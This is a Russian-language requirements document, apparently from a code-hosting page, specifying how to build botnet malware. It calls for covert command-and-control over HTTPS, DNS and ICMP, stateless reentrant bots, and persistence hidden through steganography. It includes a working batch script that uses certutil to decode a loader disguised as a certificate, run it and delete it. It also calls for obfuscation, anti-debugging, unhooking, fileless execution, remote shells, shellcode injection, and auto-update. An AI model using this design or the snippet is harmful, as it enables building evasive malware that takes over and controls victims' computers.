You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
64 lines
3.1 KiB
64 lines
3.1 KiB
ТРЕБОВАНИЯ К БОТУ
|
|
|
|
1. Канал связи и протокол
|
|
- использование открытых по умолчанию в корп.сетях протоколов: HTTPS, DNS, ICMP
|
|
- резервирование каналов связи
|
|
- верификация сервера (проверка по цифровой подписи или еще как-нибудь удостовериться, что это не перехват управления)
|
|
- поиск командного сервера в условиях отказа всех известных адресов (желательно)
|
|
- дополнительное шифрование трафика, в качестве защиты от машинного анализа
|
|
- простой для парсинга протокол. В смысле, не json/xml/итд - зачем нам сложные парсеры, если можно без них
|
|
- расширяемый протокол. Легкость добавления команд
|
|
|
|
|
|
2. Состояние (stateless-бот)
|
|
- нельзя хранить на диске такие вещи как конфиги, ID, ни в файлах, ни в реестре, нигде
|
|
То есть бот должен быть "реентерабельным" - способным начать с нуля, сгенерировать свой ид повторяемым образом,
|
|
осмотреться в системе и продолжить работу, независимо от предыдущего состояния себя и админки.
|
|
- отсюда требование и к протоколу - минимизируем блокирующие запросы, предусматриваем способ сброса таких запросов.
|
|
Например: если мы дали команду боту, и в этот момент машина перезагрузилась, то админка будет вечно ждать ответа.
|
|
И наоборот, если бот чего-то ожидает от сервера, и связь порвалась, должен быть способ выйти из такого клинча.
|
|
|
|
|
|
3. Закрепление
|
|
- желательно дублирование способов закрепления
|
|
- желательно использование стеганографии для закрепления.
|
|
Например, закрепляем не сам бот, а вот такой скрипт:
|
|
|
|
@echo off
|
|
REM достаем загрузчик из "сертификата"
|
|
certutil -decode file.crt file.exe
|
|
REM запускаем загрузчик
|
|
file.exe
|
|
REM ждем пока прогрузится и отработает файл
|
|
ping -n 300 127.0.0.1 > NUL
|
|
REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку
|
|
del /f /y file.exe
|
|
|
|
То есть пользуемся штатными утилитами ОС для распаковки и запуска нагрузки, помещая на виду безобидные скрипты.
|
|
Также можно использовать хранение в картинке, звуковом файле итд - лишь бы нашелся способ развернуть нагрузку, используя лишь штатные средства.
|
|
- желательно разделение бота на загрузчик и нагрузку
|
|
|
|
4. Защитные меры
|
|
Обязательна защита как минимум от машинного анализа.
|
|
- обфускация строк и системных вызовов, современными автоматизированными методами
|
|
- при необходимости шифрования чего-либо, используем простые средства - XOR гаммирование либо XOR 1 байт.
|
|
- проверки на песочницу не нужны, потому что трудно придумать хорошую логику для этого
|
|
- можно сделать антиотладку
|
|
- использование снятия хуков, защиты от инъекций, включения митигаций, для затруднения отладки и анализа процесса
|
|
- если получится, защита от снятия процесса (наподобие как делают АВ)
|
|
- можно использовать LLVM-обфускатор для сборки
|
|
|
|
5. Функционал
|
|
- только безфайловые техники, для всего. Ничего не записываем на диск
|
|
- наличие cmd-шелла (обязательно)
|
|
- наличие powershell-шелла (желательно)
|
|
- выполнение произвольного shell-кода https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
|
|
- выполнение .exe-файла (желательно)
|
|
- запуск .dll (rundll, regsvr) желательно
|
|
|
|
6. Разделение ботнетов
|
|
- бот должен содержать в себе идентификатор ботнета, на случай работы множественных ботнетов через одну админку
|
|
|
|
7. Автообновление
|
|
- бот должен предусматривать автообновление
|
|
|